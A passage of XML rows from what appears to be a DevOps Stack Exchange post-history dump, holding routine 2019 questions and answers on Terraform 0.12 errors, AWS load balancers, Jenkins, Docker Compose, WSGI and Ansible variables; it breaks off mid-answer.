  <row Id="26344" PostHistoryTypeId="1" PostId="8975" RevisionGUID="4d217bc2-9507-4ac7-bfd2-9fae4c42fbee" CreationDate="2019-08-23T14:44:36.643" UserId="16661" Text="Problem with Vagrant : Nothing happens on vagrant up command" ContentLicense="CC BY-SA 4.0" />
  <row Id="26345" PostHistoryTypeId="3" PostId="8975" RevisionGUID="4d217bc2-9507-4ac7-bfd2-9fae4c42fbee" CreationDate="2019-08-23T14:44:36.643" UserId="16661" Text="&lt;vagrant&gt;&lt;powershell&gt;&lt;virtualbox&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26349" PostHistoryTypeId="2" PostId="8977" RevisionGUID="d9db74cf-8a7b-4876-928a-89a361318b76" CreationDate="2019-08-23T15:59:55.120" UserId="16664" Text="After upgrading to 0.12 I receive a lots of error like:&#xD;&#xA;&#xD;&#xA;    Error: Error in function call&#xD;&#xA;    &#xD;&#xA;      on main.tf line 136, in data &quot;template_file&quot; &quot;inventory&quot;:&#xD;&#xA;     136:       formatlist(&#xD;&#xA;     137:&#xD;&#xA;     138:&#xD;&#xA;     139:&#xD;&#xA;     140:&#xD;&#xA;        |----------------&#xD;&#xA;        | module.mongodb.instance_names is tuple with 1 element&#xD;&#xA;        | module.mongodb.private_ip is list of string with 1 element&#xD;&#xA;    &#xD;&#xA;    Call to function &quot;formatlist&quot; failed: error on format iteration 0: unsupported&#xD;&#xA;    value for &quot;%s&quot; at 0: string required.&#xD;&#xA;&#xD;&#xA;Here is from my main.ft:&#xD;&#xA;&#xD;&#xA;    connection_strings_mongodb_standalone = join(&#xD;&#xA;          &quot;\n&quot;,&#xD;&#xA;          formatlist(&#xD;&#xA;            &quot;%s ansible_host=%s ansible_user=ubuntu&quot;,&#xD;&#xA;            module.mongodb.instance_names,&#xD;&#xA;            module.mongodb.private_ip,&#xD;&#xA;          ),&#xD;&#xA;And module:&#xD;&#xA;&#xD;&#xA;    module &quot;mongodb&quot; {&#xD;&#xA;      source                      = &quot;../modules/mongodb&quot;&#xD;&#xA;      instance_count              = &quot;1&quot;&#xD;&#xA;      environment                 = var.env&#xD;&#xA;      instance_type               = &quot;i3.large&quot;&#xD;&#xA;      subnet_id                   = element(tolist(data.aws_subnet_ids.private.ids), 0)&#xD;&#xA;      associate_public_ip_address = false&#xD;&#xA;      vpc_id                      = data.aws_vpc.vpc.id&#xD;&#xA;      tags = merge(&#xD;&#xA;        {&#xD;&#xA;          &quot;Environment&quot; = var.env&#xD;&#xA;        },&#xD;&#xA;        var.default_tags,&#xD;&#xA;      )&#xD;&#xA;      iam_instance_profile = var.iam_instance_profile&#xD;&#xA;      route53_zone_id      = data.aws_route53_zone.zone.zone_id&#xD;&#xA;      ami                  = var.ami&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    output &quot;mongodb_private_ip&quot; {&#xD;&#xA;      value = module.mongodb.private_ip&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    output &quot;tags&quot; {&#xD;&#xA;      value = module.mongodb.instance_names&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;from ../modules/mongodb output.tf:&#xD;&#xA;&#xD;&#xA;    output &quot;instance_names&quot; {&#xD;&#xA;      value = [&#xD;&#xA;    	&quot;${data.template_file.instance_tags_name.*.rendered}&quot;,&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;As I correct understend need to set type of output value, but can't find how, hope someone can help me.&#xD;&#xA;Thanks in advance.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26350" PostHistoryTypeId="1" PostId="8977" RevisionGUID="d9db74cf-8a7b-4876-928a-89a361318b76" CreationDate="2019-08-23T15:59:55.120" UserId="16664" Text="Terraform | After upgrading to 0.12 receive a lots of error &quot;unsupported value for &quot;%s&quot; at 0: string required.&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26351" PostHistoryTypeId="3" PostId="8977" RevisionGUID="d9db74cf-8a7b-4876-928a-89a361318b76" CreationDate="2019-08-23T15:59:55.120" UserId="16664" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26352" PostHistoryTypeId="2" PostId="8978" RevisionGUID="eb516a34-fc6c-4b6a-b9ca-f144a975badf" CreationDate="2019-08-23T16:04:54.310" UserId="16642" Text="First of all 404 error is resource error in kubernetes. It means your container in the pod is not created by your first script. Even if it is created and you can see it then your labeling is wrong in the second script. &#xD;&#xA;&#xD;&#xA;I would suggest you check matchlabels of both YAML scripts. So in your case I can see that matchlabel is docker-registry in the spec section of the first script, but I don't see any docker-registry in the second script. I believe that in your metadata part of ingress script should have &quot;name = docker-registry&quot; instead of &quot;name=docker-ingress&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="26353" PostHistoryTypeId="2" PostId="8979" RevisionGUID="9d53a60e-ffc1-4f73-847f-23aa88445c4a" CreationDate="2019-08-23T16:30:03.663" UserId="16642" Text="You didn't mention the tools you are using for CI/CD. I worked on Azure DevOps and used visual studio 2017 for these activities. If you are using it for a large number of the developer, I would suggest you use visual studio 2017 or later version. Visual studio has facilities to pull the code on the local repository. Then create a decentralized sub-branch with Master branch and perform the changes. After completing the work,  you can use merge or rebase technique to merge it with the master branch by clicking on the button. This will not only store the history but also save the person identity who modifies it. Push that to the Azure DevOps and rest will be done by Azure itself. I worked on it and it is pretty amazing stuff. " ContentLicense="CC BY-SA 4.0" />
  <row Id="26354" PostHistoryTypeId="2" PostId="8980" RevisionGUID="df58f661-7c95-4f85-9b1c-a13d9acc0375" CreationDate="2019-08-23T17:54:57.213" UserId="2463" Text="There is a clue in your error message, but it's only helpful if you know what you're looking for:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    | module.mongodb.instance_names is tuple with 1 element&#xD;&#xA;    | module.mongodb.private_ip is list of string with 1 element&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Your declaration of the `instance_names` output includes this expression:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[&quot;${data.template_file.instance_tags_name.*.rendered}&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The `data.template_file.instance_tags_name.*.rendered` part of this returns a list of strings, and then the `[ ... ]` around it then wraps an extra list (or rather, tuple) around it, creating a single-element tuple containing a list of strings. That's why the tuple contains only one element, rather than having an element for each of your `count` instances.&#xD;&#xA;&#xD;&#xA;This situation is what the upgrade guide discusses under [Referring to List Variables](https://www.terraform.io/upgrade-guides/0-12.html#referring-to-list-variables), and that documentation includes some more background information on why this previously worked in 0.11 and why the change is required now.&#xD;&#xA;&#xD;&#xA;To fix this, you should refer to just the splat expression alone, producing the flat list of strings that your `formatlist` call is expecting:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;output &quot;instance_names&quot; {&#xD;&#xA;  value = data.template_file.instance_tags_name.*.rendered&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The automatic configuration upgrade tool described in [the upgrade guide](https://www.terraform.io/upgrade-guides/0-12.html) can make this change automatically in some cases, so I'd recommend using that as a starting point for your 0.12 upgrade process. It isn't able to fix everything, but it will do a lot of the straightforward rewriting work for you and will emit warnings about some more complex situations it's unable to handle.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26355" PostHistoryTypeId="2" PostId="8981" RevisionGUID="4bdd56db-374f-4bd3-9b85-b5d22020d3ed" CreationDate="2019-08-23T19:11:42.640" UserId="16727" Text="If it's an Intel CPU, you may have to enable Intel VT-x in the bios. Sometimes the virtual machine will tell you this, and sometimes not. [Here's a link][1] that might help (ignore the Windows 10 part since you're on Win7). Also getting everything to the newest version would be a good idea if you can.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.howtogeek.com/213795/how-to-enable-intel-vt-x-in-your-computers-bios-or-uefi-firmware/" ContentLicense="CC BY-SA 4.0" />
  <row Id="26356" PostHistoryTypeId="2" PostId="8982" RevisionGUID="40e47462-163a-4e26-af7c-a6ff7a92cd8e" CreationDate="2019-08-23T19:27:38.917" UserId="16727" Text="That should work. If preserving the history is not important, collaborators can just re-clone the repo &quot;fresh&quot; from the new URL. &#xD;&#xA;&#xD;&#xA;If you want to preserve the history you can use the [`git remote set-url`][1] command from inside a current repository clone. That will switch the remote repository name from the old (deleted) account to the new one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.github.com/en/articles/changing-a-remotes-url" ContentLicense="CC BY-SA 4.0" />
  <row Id="26357" PostHistoryTypeId="2" PostId="8983" RevisionGUID="e9c7dd52-d976-4cdf-8d66-29866e55fa98" CreationDate="2019-08-23T23:00:48.907" UserId="9815" Text="I want my HTTP traffic on port 3701 and my WS (websocket) traffic on 3702. For a moment I thought that using 2 target groups was the answer, but there doesn't seem to be a way to differentiate between WS and HTTPS traffic using an ALB.&#xD;&#xA;&#xD;&#xA;So perhaps using a NLB (network lb) will allow me to differentiate between the two? How can I have one load balancer forward traffic to 2 different ports?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26358" PostHistoryTypeId="1" PostId="8983" RevisionGUID="e9c7dd52-d976-4cdf-8d66-29866e55fa98" CreationDate="2019-08-23T23:00:48.907" UserId="9815" Text="How to create ALB that can handle traffic on 2 ports" ContentLicense="CC BY-SA 4.0" />
  <row Id="26359" PostHistoryTypeId="3" PostId="8983" RevisionGUID="e9c7dd52-d976-4cdf-8d66-29866e55fa98" CreationDate="2019-08-23T23:00:48.907" UserId="9815" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26366" PostHistoryTypeId="50" PostId="2536" RevisionGUID="851efcec-a932-42fb-beb2-2c032365a47c" CreationDate="2019-08-24T00:01:30.230" UserId="-1" />
  <row Id="26367" PostHistoryTypeId="2" PostId="8984" RevisionGUID="eb212318-99bc-4699-908e-c0c5fe7a44f8" CreationDate="2019-08-24T02:03:55.667" UserId="16731" Text="Using terraform module is preferred, but if you really have to run terraform apply against a single file, I made this bash script to generate terraform apply command against all targets and modules in one file:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;#!/usr/bin/env bash&#xD;&#xA;if [[ -z &quot;$@&quot; ]]; then&#xD;&#xA;  echo &quot;Missing file input arguments&quot;&#xD;&#xA;  exit 1&#xD;&#xA;fi&#xD;&#xA;&#xD;&#xA;echo &quot;terraform apply \\&quot;&#xD;&#xA;for FILE in &quot;$@&quot;&#xD;&#xA;do&#xD;&#xA;  RESOURCE=$(sed -n 's/resource &quot;\([^&quot;]*\)&quot; &quot;\([^&quot;]*\)&quot;.*/-target=\1.\2 \\/gp' $FILE)&#xD;&#xA;  MODULE=$(sed -n 's/module &quot;\([^&quot;]*\)&quot;.*/-target=module.\1 \\/gp' $FILE)&#xD;&#xA;  if [[ -z &quot;$RESOURCE&quot; ]] &amp;&amp; [[ -z &quot;$MODULE&quot; ]]; then&#xD;&#xA;    echo &quot;Cannot detect terraform resource and module in $FILE&quot;&#xD;&#xA;    exit 1&#xD;&#xA;  fi&#xD;&#xA;&#xD;&#xA;  if [[ ! -z &quot;$RESOURCE&quot; ]]; then&#xD;&#xA;    echo -e $&quot;$RESOURCE&quot;&#xD;&#xA;  fi&#xD;&#xA;  if [[ ! -z &quot;$MODULE&quot; ]]; then&#xD;&#xA;    echo -e $&quot;$MODULE&quot;&#xD;&#xA;  fi&#xD;&#xA;done&#xD;&#xA;echo &quot;-refresh=true&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I'm not really bash expert, but it was tested to work on Mac.&#xD;&#xA;&#xD;&#xA;EDIT: The sed command assumes that the resources and modules are formatted nicely according to `terraform fmt`, like so:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_eip&quot; &quot;my_public_ip&quot; {&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_instance&quot; &quot;my_server&quot; {&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;my_module&quot; {&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26369" PostHistoryTypeId="2" PostId="8985" RevisionGUID="52e06aa7-1b0c-471b-9bcf-179dbf7b828a" CreationDate="2019-08-24T09:31:13.837" UserId="16736" Text="I'm a Dev in a big (40+ Devs) old (16+Years) SW project. We still work with SVN as source control but we are getting after automation as much as we can.&#xD;&#xA;&#xD;&#xA;One problem that hounts us is, that 40 devs check in stuff into the trunk without a fair chance of running all the tests. Our test suites consists of JUnit unit tests, Junit integration tests that run inside our app server and test business processes and some test tool blackbox tests that run after the deployment. Unittests run 10Min, Integration tests 40Mins and test tool tests run all night long.&#xD;&#xA;&#xD;&#xA;You can imagine that for each check in, not ALL the tests and most of the time also not all of the Integration tests are run. Resulting in regular test failures on our CI environment (thats the good part: we have one!)&#xD;&#xA;But with 40 devs there is to much going on at the same time, so nobody knows for sure why a test failed. &quot;Was it me? I changed something at another part of the app. This could not be the case, right...?&quot;&#xD;&#xA;&#xD;&#xA;I try to promote a branch based dev process with short(!) lived branches that could be testet before merging them into the trunk. Switching to Git is part of it but I would not be religious about it. Goal is that the trunk is always green. But for this I need an infrastructure that can support up to 60 branches.&#xD;&#xA;&#xD;&#xA;I'm dreaming up a pooled build server system, where each team could request that a certain branch (maybe in a given revision/checkIn-ID) should be build and tested (maybe with a given testsuite). All the build requests get into a queue and are processed by the build server fleet. (Currently we have the problem that not enough hardware is available to scale the build infrastructure. Pooling the available hardware seems to be the best approach in my mind.) &#xD;&#xA;&#xD;&#xA;What do you think about this approach? &#xD;&#xA;How would you do this? Is https://jenkins.io/doc/book/pipeline/multibranch/ the right path down the road?&#xD;&#xA;&#xD;&#xA;Am I going down the wrong path here? I know that CI says that everybody checks in into trunk at least every day. But, damn, there are so many side effects when 40 devs check in together and the software (especially the data model) does not prevent side effects between parts of the application. We have to start somewhere. But where?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26370" PostHistoryTypeId="1" PostId="8985" RevisionGUID="52e06aa7-1b0c-471b-9bcf-179dbf7b828a" CreationDate="2019-08-24T09:31:13.837" UserId="16736" Text="Pooled Build Server and Multibranch development to stabilize the trunk?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26371" PostHistoryTypeId="3" PostId="8985" RevisionGUID="52e06aa7-1b0c-471b-9bcf-179dbf7b828a" CreationDate="2019-08-24T09:31:13.837" UserId="16736" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26372" PostHistoryTypeId="50" PostId="8706" RevisionGUID="7dedddd3-c431-44c0-b475-5b9633a1f450" CreationDate="2019-08-24T15:03:25.520" UserId="-1" />
  <row Id="26373" PostHistoryTypeId="50" PostId="6703" RevisionGUID="852f3bd1-e2cf-4b87-936b-739ce58459e8" CreationDate="2019-08-24T19:02:05.250" UserId="-1" />
  <row Id="26374" PostHistoryTypeId="50" PostId="6557" RevisionGUID="a7e70107-a8b8-45b5-b05a-86627c08f07b" CreationDate="2019-08-24T20:02:35.310" UserId="-1" />
  <row Id="26375" PostHistoryTypeId="50" PostId="6711" RevisionGUID="fed6c6ef-bd33-43b9-8360-7b3ca10920ed" CreationDate="2019-08-24T22:01:25.203" UserId="-1" />
  <row Id="26380" PostHistoryTypeId="2" PostId="8988" RevisionGUID="31a17555-64ab-4441-93eb-769d8362dccb" CreationDate="2019-08-25T06:54:05.493" UserId="12885" Text="Add listeners to the ALB&#xA;&#xA;1 listener for 3701&#xA;1 listener for 3702&#xA;&#xA;update the ALB action for each Listener to point to the the correct Target Group " ContentLicense="CC BY-SA 4.0" />
  <row Id="26381" PostHistoryTypeId="5" PostId="5776" RevisionGUID="659069b4-c17c-4495-ae0c-633c8d1a4a61" CreationDate="2019-08-25T09:36:47.740" UserId="210" Comment="added 2 characters in body" Text="Yes, it's possible. You can use `--parallel` option since docker-composer 1.23.2 version.&#xD;&#xA;&#xD;&#xA;Version 1.23.2 also correct 1.23.0 bug: &#xD;&#xA;&#xD;&#xA;&gt; Reverted a 1.23.0 change that appended random strings to container&#xD;&#xA;&gt; names created by docker-compose up, causing addressability issues.&#xD;&#xA;&gt; Note: Containers created by docker-compose run will continue to use&#xD;&#xA;&gt; randomly generated names to avoid collisions during parallel runs.&#xD;&#xA;&#xD;&#xA;https://github.com/docker/compose/releases/tag/1.23.2&#xD;&#xA;&#xD;&#xA;You can use it simply doing:&#xD;&#xA;&#xD;&#xA;    docker-compose build --parallel" ContentLicense="CC BY-SA 4.0" />
  <row Id="26383" PostHistoryTypeId="2" PostId="8989" RevisionGUID="7c7d370d-acb5-4312-983c-117ab794c23c" CreationDate="2019-08-25T13:44:22.633" UserId="16747" Text="I have a running DataDog-Agent on a docker server.&#xD;&#xA;Is there a function in the DataDog API to get the stats of every single container, so I could print the stats to an external Webpage?&#xD;&#xA;Or is there an alternative?&#xD;&#xA;&#xD;&#xA;Kind regards,&#xD;&#xA;Deeonix" ContentLicense="CC BY-SA 4.0" />
  <row Id="26384" PostHistoryTypeId="1" PostId="8989" RevisionGUID="7c7d370d-acb5-4312-983c-117ab794c23c" CreationDate="2019-08-25T13:44:22.633" UserId="16747" Text="DataDog API - Get Docker Container Stats" ContentLicense="CC BY-SA 4.0" />
  <row Id="26385" PostHistoryTypeId="3" PostId="8989" RevisionGUID="7c7d370d-acb5-4312-983c-117ab794c23c" CreationDate="2019-08-25T13:44:22.633" UserId="16747" Text="&lt;docker&gt;&lt;monitoring&gt;&lt;api&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26386" PostHistoryTypeId="50" PostId="6287" RevisionGUID="986fe9e0-7925-4180-a9a6-344d56050ecc" CreationDate="2019-08-25T16:01:25.190" UserId="-1" />
  <row Id="26387" PostHistoryTypeId="2" PostId="8990" RevisionGUID="7d6252d5-d192-4d31-8d8a-7d1caf7faa64" CreationDate="2019-08-25T18:54:15.043" UserId="9815" Text="Is there a way to run a Python server that uses WSGI bindings directly? I am trying to go with the one process per container philosophy which will naturally get rid of Apache/NGINX from the container and just run a python process.&#xD;&#xA;Is there a way to run python server directly with WSGI bindings without using Apache or NGINX?&#xD;&#xA;&#xD;&#xA;https://www.quora.com/unanswered/Is-there-a-way-to-run-a-Python-WSGI-server-directly-without-Apache-or-NGINX" ContentLicense="CC BY-SA 4.0" />
  <row Id="26388" PostHistoryTypeId="1" PostId="8990" RevisionGUID="7d6252d5-d192-4d31-8d8a-7d1caf7faa64" CreationDate="2019-08-25T18:54:15.043" UserId="9815" Text="How to run WSGI Python server without Apache or NGINX" ContentLicense="CC BY-SA 4.0" />
  <row Id="26389" PostHistoryTypeId="3" PostId="8990" RevisionGUID="7d6252d5-d192-4d31-8d8a-7d1caf7faa64" CreationDate="2019-08-25T18:54:15.043" UserId="9815" Text="&lt;python&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26390" PostHistoryTypeId="2" PostId="8991" RevisionGUID="05d822c1-6ebd-4b03-b7ef-58654162078d" CreationDate="2019-08-25T20:52:00.940" UserId="16451" Text="I have managed to trigger events on my bucket when objects are uploaded (`PUT`) but I am surprised that there are no triggers called when objects are downloaded (`GETs`), as can be seen in this screenshot of the interface:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/lPKi9.png&#xD;&#xA;&#xD;&#xA;I want to be notified of each download so I will be able to limit the downloads of any given object to a maximum of 10 times.&#xD;&#xA;&#xD;&#xA;How to do that?&#xD;&#xA;&#xD;&#xA;I am aiming at setting a tag named for example `limit_reached`, value: `true` on the file object if the download limit is reached and returning `403` by conditional access policy based on the `limit_reached` tag.&#xD;&#xA;&#xD;&#xA;Alternative to all this, is to generate signed url's by my web application and track how many signed urls have been generated for a given object and denying any further after generating signed urls 10 times.&#xD;&#xA;&#xD;&#xA;Your ideas are highly appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="26391" PostHistoryTypeId="1" PostId="8991" RevisionGUID="05d822c1-6ebd-4b03-b7ef-58654162078d" CreationDate="2019-08-25T20:52:00.940" UserId="16451" Text="Triggering a SNS notification when an object is accessed (downloaded) in AWS S3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26392" PostHistoryTypeId="3" PostId="8991" RevisionGUID="05d822c1-6ebd-4b03-b7ef-58654162078d" CreationDate="2019-08-25T20:52:00.940" UserId="16451" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26393" PostHistoryTypeId="50" PostId="4791" RevisionGUID="1130a58d-5c8b-4d36-9488-c995f467d223" CreationDate="2019-08-25T23:01:00.073" UserId="-1" />
  <row Id="26394" PostHistoryTypeId="50" PostId="6708" RevisionGUID="3a3b1b77-44c8-4330-8f82-13288bb068a6" CreationDate="2019-08-26T00:02:00.227" UserId="-1" />
  <row Id="26398" PostHistoryTypeId="2" PostId="8993" RevisionGUID="e5022982-74d6-4e6a-a6bd-ca93f75d831a" CreationDate="2019-08-26T05:29:59.633" UserId="16753" Text="You can use [Naginator plugin][1] in Jenkins to retry the build. This plugin has multiple options. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Naginator+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="26399" PostHistoryTypeId="50" PostId="5482" RevisionGUID="6603d391-16b5-42b6-936a-ce27eb8f012e" CreationDate="2019-08-26T07:01:05.137" UserId="-1" />
  <row Id="26400" PostHistoryTypeId="2" PostId="8994" RevisionGUID="79046df4-b50d-4f4a-baff-26cd813fa0cb" CreationDate="2019-08-26T08:04:24.380" UserId="786" Text="This question doesn't really make sense - WSGI is the mechanism that a web server such as Apache would use to invoke an application or script, such as something written in Python. If you have no web server, then what would be using WSGI in the first place?&#xD;&#xA;&#xD;&#xA;Is the question really, how do I take a pre-existing WSGI application and turn it into a standalone? [Flask](https://palletsprojects.com/p/flask/) is one such framework that can run as WSGI or using its own internal web server. &#xD;&#xA;&#xD;&#xA;But, taking a step back, I still think this is the wrong question. There is no need to blindly apply the &quot;one process per container philosophy&quot; - which is really just some random person's opinion, at the end of the day - if it doesn't make sense in your use case. Think about it for a second. A container containing one process is just... a process. We already had those. Containers work best for bundling things together that logically belong together and administering them as a single &quot;thing&quot;. What's inside them should be completely opaque to who- or whatever is managing them.&#xD;&#xA;&#xD;&#xA;If you have something that already works well with Apache/Nginx fronting your application, then containerize it that way, it will be fine. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26401" PostHistoryTypeId="5" PostId="8994" RevisionGUID="1e388f2a-edd5-4fb8-a946-c8b61580c3d4" CreationDate="2019-08-26T08:10:15.567" UserId="786" Comment="added 150 characters in body" Text="This question doesn't really make sense - WSGI is the mechanism that a web server such as Apache would use to invoke an application or script, such as something written in Python. If you have no web server, then what would be using WSGI in the first place?&#xD;&#xA;&#xD;&#xA;Is the question really, how do I take a pre-existing WSGI application and turn it into a standalone? [Flask](https://palletsprojects.com/p/flask/) is one such framework that can run as WSGI or using its own internal web server. &#xD;&#xA;&#xD;&#xA;But, taking a step back, I still think this is the wrong question. There is no need to blindly apply the &quot;one process per container philosophy&quot; - which is really just some random person's opinion, at the end of the day - if it doesn't make sense in your use case. Think about it for a second. A container containing one process is just... a process. We already had those. Containers work best for bundling things together that logically belong together and administering them as a single &quot;thing&quot;. What's inside them should be completely opaque to who- or whatever is managing them. You will never see developers jumping through hoops to follow a &quot;one shared object per executable philosophy&quot; because that doesn't make sense either!&#xD;&#xA;&#xD;&#xA;If you have something that already works well with Apache/Nginx fronting your application, then containerize it that way, it will be fine. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26402" PostHistoryTypeId="5" PostId="1360" RevisionGUID="e14c82fa-d98a-4e98-b1aa-3a0a8c362470" CreationDate="2019-08-26T09:10:46.777" UserId="210" Comment="deleted 1 character in body" Text="Currently it is not possible to make concurrent builds with Docker Compose.&#xD;&#xA;&#xD;&#xA;There are issues about that but the latest tests indicate that concurrent builds take actually longer than the sequential ones.&#xD;&#xA;&#xD;&#xA;The issue seems to be related to the storage drivers.  &#xD;&#xA;You can track this issue to get updates: https://github.com/moby/moby/issues/9656" ContentLicense="CC BY-SA 4.0" />
  <row Id="26403" PostHistoryTypeId="50" PostId="8724" RevisionGUID="cc475141-fa81-473b-a165-012662fdaf5e" CreationDate="2019-08-26T10:02:10.260" UserId="-1" />
  <row Id="26404" PostHistoryTypeId="2" PostId="8995" RevisionGUID="0f7b4853-7f65-4f66-97c3-c1a2b09b4eab" CreationDate="2019-08-26T10:09:09.280" UserId="16755" Text="Systemctl/service commands are not working on container which is built by using centos:centos7 image. Can you guys help me here ..?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26405" PostHistoryTypeId="1" PostId="8995" RevisionGUID="0f7b4853-7f65-4f66-97c3-c1a2b09b4eab" CreationDate="2019-08-26T10:09:09.280" UserId="16755" Text="How to manage services inside the container" ContentLicense="CC BY-SA 4.0" />
  <row Id="26406" PostHistoryTypeId="3" PostId="8995" RevisionGUID="0f7b4853-7f65-4f66-97c3-c1a2b09b4eab" CreationDate="2019-08-26T10:09:09.280" UserId="16755" Text="&lt;docker&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26408" PostHistoryTypeId="2" PostId="8996" RevisionGUID="11d63692-134a-4040-a5fa-2b77f8abfd26" CreationDate="2019-08-26T10:33:20.023" UserId="2678" Text="I am trying to create a playboook that executes a python3 script with 2 parameters, name and password in localhost.&#xD;&#xA;However, when i try to execute the paybook with this command `ansible -b --become-user=ras createdeploy.yaml --extra-vars &quot;user=ras pass=ras&quot;` &#xD;&#xA; I get this error message:&#xD;&#xA;&#xD;&#xA;    [WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'&#xD;&#xA;    &#xD;&#xA;    ERROR! Invalid variable name in vars specified for Play: 'pass' is not a valid variable name&#xD;&#xA;    &#xD;&#xA;    The error appears to have been in '/home/ras/createdeploy.yaml': line 3, column 5, but may&#xD;&#xA;    be elsewhere in the file depending on the exact syntax problem.&#xD;&#xA;    &#xD;&#xA;    The offending line appears to be:&#xD;&#xA;    &#xD;&#xA;      vars:&#xD;&#xA;        user: &quot;{{ user }}&quot;&#xD;&#xA;        ^ here&#xD;&#xA;    We could be wrong, but this one looks like it might be an issue with&#xD;&#xA;    missing quotes.  Always quote template expression brackets when they&#xD;&#xA;    start a value. For instance:&#xD;&#xA;    &#xD;&#xA;        with_items:&#xD;&#xA;          - {{ foo }}&#xD;&#xA;    &#xD;&#xA;    Should be written as:&#xD;&#xA;    &#xD;&#xA;        with_items:&#xD;&#xA;          - &quot;{{ foo }}&quot;&#xD;&#xA;&#xD;&#xA;Here you are the .yaml file:&#xD;&#xA;&#xD;&#xA;    - hosts: all&#xD;&#xA;      vars:&#xD;&#xA;        user: &quot;{{ user }}&quot;&#xD;&#xA;        pass: &quot;{{ pass }}&quot;&#xD;&#xA;    &#xD;&#xA;      tasks:&#xD;&#xA;        - name: Stop services&#xD;&#xA;          shell: &quot;bash stopservices.sh&quot;&#xD;&#xA;    &#xD;&#xA;        - name: Edit real hosts file&#xD;&#xA;          shell: &quot;bash editrealmachinehosts.sh&quot;&#xD;&#xA;    &#xD;&#xA;        - name: Create dirs and cloning&#xD;&#xA;          command: python3 user pass&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26409" PostHistoryTypeId="1" PostId="8996" RevisionGUID="11d63692-134a-4040-a5fa-2b77f8abfd26" CreationDate="2019-08-26T10:33:20.023" UserId="2678" Text="Error passing arguments to ansible playbook" ContentLicense="CC BY-SA 4.0" />
  <row Id="26410" PostHistoryTypeId="3" PostId="8996" RevisionGUID="11d63692-134a-4040-a5fa-2b77f8abfd26" CreationDate="2019-08-26T10:33:20.023" UserId="2678" Text="&lt;ansible&gt;&lt;configuration&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26411" PostHistoryTypeId="2" PostId="8997" RevisionGUID="c3829953-23a0-4d8b-abf7-dc70e7c3cc32" CreationDate="2019-08-26T10:55:50.297" UserId="9609" Text="Static assets should not be in the image, but rather on a PersistentVolume or better yet, on an object store such as AWS S3 then let a CDN to use it.&#xD;&#xA;&#xD;&#xA;At the end of the day, Magento is a CMS, so the admin users will change the assets and other part of the content. It is not practical to bake assets these in to an container image doe the nature Magento." ContentLicense="CC BY-SA 4.0" />
  <row Id="26415" PostHistoryTypeId="50" PostId="8717" RevisionGUID="bff24a8c-b90b-45e4-916c-99a9a150ff14" CreationDate="2019-08-26T12:03:00.393" UserId="-1" />
  <row Id="26416" PostHistoryTypeId="2" PostId="8999" RevisionGUID="392d49ef-d597-4ca2-9476-5758d9ef6e6d" CreationDate="2019-08-26T12:17:24.440" UserId="775" Text="I'd suggest that you first put some default values within the playbook (if you explicitly want your variables there, for the purpose of .. reducing interactivity/command line args lets say):&#xD;&#xA;&#xD;&#xA;    - hosts: all&#xD;&#xA;      vars:&#xD;&#xA;        user: greatuser&#xD;&#xA;        passa: greatpassword&#xD;&#xA;&#xD;&#xA;Second, I'm pretty sure that `pass` is a reserved word somewhere, although I'm failing to find it in the [documentation][1]. That's why I've changed your variable to `passa`. The final version of your playbook should look like this:&#xD;&#xA;&#xD;&#xA;    - hosts: all&#xD;&#xA;      vars:&#xD;&#xA;         user: &quot;{{ user }}&quot;&#xD;&#xA;         pass: &quot;{{ pass }}&quot;&#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;         - name: Stop services&#xD;&#xA;           shell: &quot;bash 